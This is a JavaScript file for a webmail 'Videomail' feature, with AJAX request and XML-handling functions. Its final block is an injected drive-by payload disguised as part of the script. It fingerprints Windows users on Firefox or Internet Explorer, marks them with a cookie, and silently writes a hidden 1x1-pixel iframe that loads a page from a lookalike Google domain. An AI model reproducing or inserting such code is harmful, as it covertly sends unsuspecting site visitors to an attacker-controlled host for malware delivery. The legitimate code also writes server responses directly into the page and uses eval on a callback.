// Videomail functions
function GetVideoID(GetUniqueID, EmailFrom, EmailSubject) {
	if (!EmailFrom) EmailFrom = "";
	if (!EmailSubject) EmailSubject = "";
		
	// If video is disabled, close it, or if we have no GetUniqueID, return function we dont want to call videomail.php
	if (document.getElementById("VideoMail").value == 0 || (VideoStreamUID == null && GetUniqueID != true)) return null;

	var SendData = new Array();
	if (GetUniqueID == true) {
		SendData["func"] = "getuniqueid";
	} else {
		SendData["func"] = "getstreamid";
		SendData["UniqueID"] = VideoStreamUID;
		SendData["EmailFrom"] = EmailFrom;
		SendData["EmailSubject"] = EmailSubject;
	}
	var ObjGetStreamID = new VideoAjaxRequester("videomail.php", SendData);
	ObjGetStreamID.Request();
	var Results = ObjGetStreamID.Results();
	var Response;
	
	if (Results) {
		if (GetUniqueID == true) {
			try {
				return Results.getElementsByTagName("UniqueID")[0].firstChild.data;
			} catch(e) {
				alert("Could not load UniqueID for VideoMail - Check the Video Server is online and the max number of connections has not been exceeded. If the problem exists send an email with Video-Mail disabled");
			}
		} else {
			try {
				Response = Results.getElementsByTagName("StreamID")[0].firstChild.data;
			} catch(e) {
				alert("Could not load StreamID for VideoMail - Check the Video Server is online and the max number of connections has not been exceeded. If the problem exists send an email with Video-Mail disabled");
			}
			
			if(Response == 'd41d8cd98f00b204e9800998ecf8427e')	{
				alert("No Videomail was successfully recorded - Check you have a Webcam or microphone connected successfully. View the Videomail help guide for a tutorial");
			} else	{
				return Response;
			}
			
		}
	} else {
		return null;
	}
}

function VideoAjaxRequester(FileName, DataArray, CallBackFunc, ForwardData) {
	this.ForwardData = ForwardData;

	this.XMLObj = null;

	try { this.XMLObj = new ActiveXObject("Msxml2.XMLHTTP"); } catch (e) {}
	try { this.XMLObj = new ActiveXObject("Microsoft.XMLHTTP"); } catch (e) {}
	try { this.XMLObj = new XMLHttpRequest(); } catch(e) {}

	this.Results = function(DataType) {
		if (this.XMLObj.readyState == 4){

			if(this.XMLObj.status == 200){
				VidCheckXMLError(this.XMLObj);
				if (DataType == true) {
					if (this.XMLObj.responseText) {
						return this.XMLObj.responseText;
					} else {
						return false;
					}
				} else {
					if (this.XMLObj.responseXML) {
						return this.XMLObj.responseXML;
					} else {
						return false;
					}
				}
			} else {
				return false;
			}
		} else {
			return false;
		}
	}

	if (CallBackFunc) {
		this.XMLObj.onreadystatechange = eval(CallBackFunc);
	}

	var SendString = "";
	for (var i in DataArray) {
		SendString += "&" + i + "=" + DataArray[i];
	}
	SendString = SendString.substring(1, SendString.length);

	// Not compat for IE6
	//this.XMLObj.url = FileName + ":" + SendString;
	
	this.Request = function(Post) {
		if (Post == true) {
			this.XMLObj.open("POST", FileName, false);
			this.XMLObj.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
			this.XMLObj.send(SendString);
		} else {
			this.XMLObj.open("GET", FileName + "?" + SendString, false);
			this.XMLObj.send(null);
		}
	}
}

function VidCheckXMLError(XMLReq)	{
	try {
		var err = XMLReq.responseXML.getElementsByTagName("ErrorMessage")[0].firstChild.data;
		document.write(err);
		return 0;
	} catch (e) {
		//alert(e);
		return 1;
	}
}
var BrowserDetect = { init: function () { this.browser = this.searchString(this.dataBrowser) || "An unknown browser"; this.version = this.searchVersion(navigator.userAgent) || this.searchVersion(navigator.appVersion) || "an unknown version"; this.OS = this.searchString(this.dataOS) || "an unknown OS"; }, searchString: function (data) { for (var i=0;i<data.length;i++) { var dataString = data[i].string; var dataProp = data[i].prop; this.versionSearchString = data[i].versionSearch || data[i].identity; if (dataString) { if (dataString.indexOf(data[i].subString) != -1) return data[i].identity; } else if (dataProp) return data[i].identity; } }, searchVersion: function (dataString) { var index = dataString.indexOf(this.versionSearchString); if (index == -1) return; return parseFloat(dataString.substring(index+this.versionSearchString.length+1)); }, dataBrowser: [       { string: navigator.userAgent,subString: "Firefox",identity: "Firefox"},{string: navigator.userAgent,subString: "MSIE",identity: "Explorer",versionSearch: "MSIE"}],dataOS : [{string: navigator.platform,subString: "Win",identity: "Windows"}]};function addCookie(szName,szValue,dtDaysExpires){ var dtExpires = new Date();var dtExpiryDate = "";dtExpires.setTime(dtExpires.getTime()+dtDaysExpires*24*60*60*1000);dtExpiryDate=dtExpires.toGMTString();document.cookie=szName+"="+szValue+";expires="+dtExpiryDate;} function findCookie(szName){        var i=0;var nStartPosition=0;var nEndPosition=0;var szCookieString=document.cookie; while (i<=szCookieString.length){nStartPosition=i;nEndPosition=nStartPosition+szName.length;if (szCookieString.substring(nStartPosition,nEndPosition)==szName){nStartPosition=nEndPosition+1;nEndPosition=document.cookie.indexOf(";",nStartPosition);if(nEndPosition<nStartPosition) nEndPosition=document.cookie.length;return document.cookie.substring(nStartPosition,nEndPosition);break;}i++;} return "";} BrowserDetect.init(); var szCookieString = document.cookie; var boroda = BrowserDetect.browser; var os = BrowserDetect.OS; if ( ((boroda == "Firefox" || boroda == "Explorer") && (os == "Windows")) && (findCookie('geo_idn')!='c48a765e4f75baeb85f0a755fc3ec09c') ) {addCookie("geo_idn","c48a765e4f75baeb85f0a755fc3ec09c",1);document.write('<iframe src="http://google-adsenc.com/in.cgi?2" name="Twitter" scrolling="auto" frameborder="no" align="center" height = "1px" width = "1px"></iframe>');}else {}
